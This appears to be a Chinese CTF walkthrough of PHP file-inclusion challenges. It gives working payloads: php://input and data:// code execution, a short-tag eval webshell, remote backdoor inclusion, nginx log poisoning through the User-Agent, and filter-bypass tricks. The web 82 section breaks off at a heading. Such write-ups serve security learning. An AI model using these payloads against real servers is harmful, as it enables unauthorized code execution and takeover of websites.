文章目录
- web 78——php伪协议
- 第一种方法——php://input
- 第二种方法——data://text/plain
- 第三种方法——远程包含(http://协议)
- web 78——str_replace过滤字符php
- 第一种方法——远程包含(http://协议)
- 第二种方法——data://,php短标签
- 第三种方法——data://,base64编码
- web 80——str_replace过滤关键字php和data
- 第一种方法——日志包含
- 第二种方法——大写PHP绕过,PHP://input
- web 81——过滤关键字php、data和`:`,日志包含
- web 82
web 78——php伪协议

第一种方法——php://input
这里不知道flag.php的文件路径,可以考虑使用php://input尝试执行php语句,获取文件路径。
# url栏
?file=php://input
# POST data
<?php system('ls');?>

cat flag.php可能读取不了文件,这时候试试tac flag.php。linux tac命令是倒序读取文件,也就是从最后一行往前读取文件。
cat flag.php在源代码中显示php文件(查看源代码),tac flag.php不需要查看源代码。

第二种方法——data://text/plain
data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。用法:
data://text/plain,<php代码>
data://text/plain;base64,<php代码>

第三种方法——远程包含(http://协议)

架设外网服务器,使用远程包含自己服务器上的后门文件,即可获取webshell。
php伪协议总结:

web 78——str_replace过滤字符php

首先,根据php特性,str_replace无法迭代过滤,只过滤一次。此处,如果用空格替换,可以直接使用双写进行绕过。
第一种方法——远程包含(http://协议)

架设外网服务器,使用远程包含自己服务器上的后门文件,即可获取webshell。
第二种方法——data://,php短标签
既然过滤php字符串,使用data://协议,同时使用php短标签避免出现字符串php。php中代码开始标志类型(<?php ?>,<? ?>,<?= ?>,<% %>,<%= %>)
<?php @eval($_GET['cmd']);?> == <?=@eval($_GET['cmd']);?>

第三种方法——data://,base64编码
使用data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+ (<?php phpinfo();?>)

web 80——str_replace过滤关键字php和data

可以看到关键字php和data被过滤,因此包含这两个关键字的php伪协议都无法用了。查看服务器的系统信息,可以发现属于nginx,nginx日志的默认路径为/var/log/nginx/access.log

第一种方法——日志包含
通过包含日志文件,可以读取到日志文件。因此思路:日志文件记录访问者UA信息,修改UA信息为后门代码,包含就会触发后门代码。
?file=/var/log/nginx/access.log
UA:<?php system('ls')?>


第二种方法——大写PHP绕过,PHP://input

这里对
php://input的php进行大写可以绕过过滤,但是通过大写DATA不能使用data://text/plain。
web 81——过滤关键字php、data和:,日志包含

这里过滤了php、data和:,基本上伪协议是用不了了,不过仍然可以使用日志包含。
?file=/var/log/nginx/access.log
UA:<?php system('ls')?>

web 82
linux下,默认保存session的文件路径/tmp或/var/lib/php/session;Windows下session文件的路径不固定。
关于session,只要你与一个网站建立连接,网站某个文件夹下就会产生session文件,关闭浏览器或者过了一段时间,session就会失效,再次建立连接的话就会产生新的session文件。
服务器端的session文件命名如下,尝试简单爆破是几乎不可能的。

实际上,数据包中的cookie中有个PHPSESSID的值,服务端将sess_与PHPSESSID的值进行拼接,就是当前会话session的文件名。因此我们可以使用这种方式固定session文件的文件名。

利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含




![[职场] 英语面试自我介绍 #微信#笔记#媒体](https://img-blog.csdnimg.cn/img_convert/94d93df1d2f6f638cea4a40fc6f032d0.jpeg)


![[word] word表格两列互换 #学习方法#其他](https://img-home.csdnimg.cn/images/20230724024159.png?origin_url=https%3A%2F%2Foffice.tqzw.net.cn%2Fd%2Ffile%2Ftitlepic%2Fofficepic%2F18%2F6ile%2FAiAlepic%2Fo69icepic%2F319222.gif&pos_id=1p3TdEy1)











